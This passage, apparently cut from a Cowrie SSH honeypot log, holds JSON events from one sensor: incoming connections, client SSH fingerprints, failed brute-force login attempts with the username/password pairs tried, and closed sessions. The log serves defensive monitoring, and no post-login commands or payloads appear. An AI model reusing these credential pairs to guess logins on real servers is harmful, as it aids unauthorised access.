 client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:20.154770Z","src_ip":"144.91.86.102","session":"ccb9aa6cf0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:20.541733Z","src_ip":"36.95.194.51","session":"d149f7e96b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"memcache","message":"login attempt [root/memcache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:20.579306Z","src_ip":"144.91.86.102","session":"ccb9aa6cf0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:21.675874Z","src_ip":"144.91.86.102","session":"ccb9aa6cf0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.106.83.59","src_port":54881,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa3e59c82aa","protocol":"ssh","message":"New connection: 180.106.83.59:54881 (10.17.0.5:22) [session: 4fa3e59c82aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:36.110639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:36.114724Z","src_ip":"180.106.83.59","session":"4fa3e59c82aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:36.380407Z","src_ip":"180.106.83.59","session":"4fa3e59c82aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hack123","message":"login attempt [root/hack123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:37.472425Z","src_ip":"180.106.83.59","session":"4fa3e59c82aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":60138,"dst_ip":"159.203.135.109","dst_port":22,"session":"1527ac047165","protocol":"ssh","message":"New connection: 200.108.174.4:60138 (159.203.135.109:22) [session: 1527ac047165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:51.502451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:51.506763Z","src_ip":"200.108.174.4","session":"1527ac047165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:51.653908Z","src_ip":"200.108.174.4","session":"1527ac047165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:52.276691Z","src_ip":"200.108.174.4","session":"1527ac047165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:53.427296Z","src_ip":"200.108.174.4","session":"1527ac047165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":58180,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed15ba67bf01","protocol":"ssh","message":"New connection: 3.129.187.38:58180 (159.203.135.109:22) [session: ed15ba67bf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:13.948833Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:13.955563Z","src_ip":"3.129.187.38","session":"ed15ba67bf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:13.962648Z","src_ip":"3.129.187.38","session":"ed15ba67bf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":36332,"dst_ip":"159.203.135.109","dst_port":22,"session":"b40ef3669988","protocol":"ssh","message":"New connection: 46.165.56.242:36332 (159.203.135.109:22) [session: b40ef3669988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:16.836049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:16.841465Z","src_ip":"46.165.56.242","session":"b40ef3669988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:16.991994Z","src_ip":"46.165.56.242","session":"b40ef3669988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qa@ws","message":"login attempt [root/!qa@ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:17.636862Z","src_ip":"46.165.56.242","session":"b40ef3669988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:18.789658Z","src_ip":"46.165.56.242","session":"b40ef3669988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:27.703825Z","src_ip":"220.154.131.255","session":"2190ca964370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":46008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3b280295a1","protocol":"ssh","message":"New connection: 43.162.109.147:46008 (10.17.0.5:22) [session: 3d3b280295a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:34.926910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:34.931873Z","src_ip":"43.162.109.147","session":"3d3b280295a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:35.004183Z","src_ip":"43.162.109.147","session":"3d3b280295a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:35.307521Z","src_ip":"43.162.109.147","session":"3d3b280295a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36342,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ae6aa7861e","protocol":"ssh","message":"New connection: 138.99.80.102:36342 (159.203.135.109:22) [session: 57ae6aa7861e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:35.787884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:35.792658Z","src_ip":"138.99.80.102","session":"57ae6aa7861e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:35.902679Z","src_ip":"138.99.80.102","session":"57ae6aa7861e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60047,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9eed7f37704","protocol":"ssh","message":"New connection: 2.57.121.112:60047 (159.203.135.109:22) [session: d9eed7f37704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.271843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.276514Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.374950Z","src_ip":"138.99.80.102","session":"57ae6aa7861e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.380769Z","src_ip":"43.162.109.147","session":"3d3b280295a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.387206Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eagle123","message":"login attempt [admin/eagle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:36.861724Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:37.488246Z","src_ip":"138.99.80.102","session":"57ae6aa7861e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dvorak","message":"login attempt [admin/dvorak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:37.965569Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dusty197","message":"login attempt [admin/dusty197] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:39.069852Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"durant","message":"login attempt [admin/durant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:40.174960Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"duran","message":"login attempt [admin/duran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:41.279357Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:42.383108Z","src_ip":"2.57.121.112","session":"d9eed7f37704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":33834,"dst_ip":"159.203.135.109","dst_port":22,"session":"542635bde1b0","protocol":"ssh","message":"New connection: 36.95.194.51:33834 (159.203.135.109:22) [session: 542635bde1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:52.147337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:52.152114Z","src_ip":"36.95.194.51","session":"542635bde1b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:52.424016Z","src_ip":"36.95.194.51","session":"542635bde1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:53.527136Z","src_ip":"36.95.194.51","session":"542635bde1b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:54.798431Z","src_ip":"36.95.194.51","session":"542635bde1b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":56900,"dst_ip":"10.17.0.5","dst_port":22,"session":"a414a8451704","protocol":"ssh","message":"New connection: 144.91.86.102:56900 (10.17.0.5:22) [session: a414a8451704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:57.529953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:57.537604Z","src_ip":"144.91.86.102","session":"a414a8451704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 